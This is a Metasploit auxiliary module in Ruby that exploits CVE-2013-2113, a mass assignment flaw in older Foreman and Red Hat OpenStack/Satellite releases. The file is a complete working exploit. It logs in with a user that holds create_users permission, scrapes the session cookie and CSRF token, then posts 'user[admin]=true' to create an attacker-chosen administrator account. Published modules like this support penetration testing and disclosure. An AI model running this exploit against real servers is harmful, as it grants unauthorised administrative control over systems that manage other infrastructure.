##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize
    super(
      'Name' => 'Foreman (Red Hat OpenStack/Satellite) users/create Mass Assignment',
      'Description' => %q{
          This module exploits a mass assignment vulnerability in the 'create'
        action of 'users' controller of Foreman and Red Hat OpenStack/Satellite
        (Foreman 1.2.0-RC1 and earlier) by creating an arbitrary administrator
        account. For this exploit to work, your account must have 'create_users'
        permission (e.g., Manager role).
      },
      'Author' => 'Ramon de C Valle',
      'License' => MSF_LICENSE,
      'References' => [
        ['BID', '60835'],
        ['CVE', '2013-2113'],
        ['CWE', '915'],
        ['OSVDB', '94655'],
        ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=966804'],
        ['URL', 'https://projects.theforeman.org/issues/2630']
      ],
      'DisclosureDate' => 'Jun 6 2013',
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
        'Reliability' => []
      }
    )

    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptString.new('USERNAME', [true, 'Your username']),
        OptString.new('PASSWORD', [true, 'Your password']),
        OptString.new('NEWUSERNAME', [true, 'The username of the new admin account']),
        OptString.new('NEWPASSWORD', [true, 'The password of the new admin account']),
        OptString.new('NEWEMAIL', [true, 'The email of the new admin account']),
        OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
      ]
    )
  end

  def run
    print_status("Logging into #{target_url}...")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'users', 'login'),
      'vars_post' => {
        'login[login]' => datastore['USERNAME'],
        'login[password]' => datastore['PASSWORD']
      }
    )

    if res.nil?
      print_error('No response from remote host')
      return
    end

    if res.headers['Location'] =~ %r{users/login$}
      print_error('Authentication failed')
      return
    else
      session = ::Regexp.last_match(1) if res.get_cookies =~ /_session_id=([0-9a-f]*)/

      if session.nil?
        print_error('Failed to retrieve the current session id')
        return
      end
    end

    print_status('Retrieving the CSRF token for this session...')
    res = send_request_cgi(
      'cookie' => "_session_id=#{session}",
      'method' => 'GET',
      'uri' => normalize_uri(target_uri)
    )

    if res.nil?
      print_error('No response from remote host')
      return
    end

    if res.headers['Location'] =~ %r{users/login$}
      print_error('Failed to retrieve the CSRF token')
      return
    end

    csrf_param = ::Regexp.last_match(1) if res.body =~ %r{<meta +content="(.*)" +name="csrf-param" */?>}i
    csrf_token = ::Regexp.last_match(1) if res.body =~ %r{<meta +content="(.*)" +name="csrf-token" */?>}i

    if csrf_param.nil? || csrf_token.nil?
      csrf_param = ::Regexp.last_match(1) if res.body =~ %r{<meta +name="csrf-param" +content="(.*)" */?>}i
      csrf_token = ::Regexp.last_match(1) if res.body =~ %r{<meta +name="csrf-token" +content="(.*)" */?>}i
    end

    if csrf_param.nil? || csrf_token.nil?
      print_error('Failed to retrieve the CSRF token')
      return
    end

    print_status("Sending create-user request to #{target_url('users')}...")
    res = send_request_cgi(
      'cookie' => "_session_id=#{session}",
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'users'),
      'vars_post' => {
        csrf_param => csrf_token,
        'user[admin]' => 'true',
        'user[auth_source_id]' => '1',
        'user[login]' => datastore['NEWUSERNAME'],
        'user[mail]' => datastore['NEWEMAIL'],
        'user[password]' => datastore['NEWPASSWORD'],
        'user[password_confirmation]' => datastore['NEWPASSWORD']
      }
    )

    if res.nil?
      print_error('No response from remote host')
      return
    end

    if res.headers['Location'] =~ /users$/
      print_good('User created successfully')
    else
      print_error('Failed to create user')
    end
  end

  def target_url(*args)
    (ssl ? 'https' : 'http') +
      if rport.to_i == 80 || rport.to_i == 443
        "://#{vhost}"
      else
        "://#{vhost}:#{rport}"
      end + normalize_uri(target_uri.path, *args)
  end
end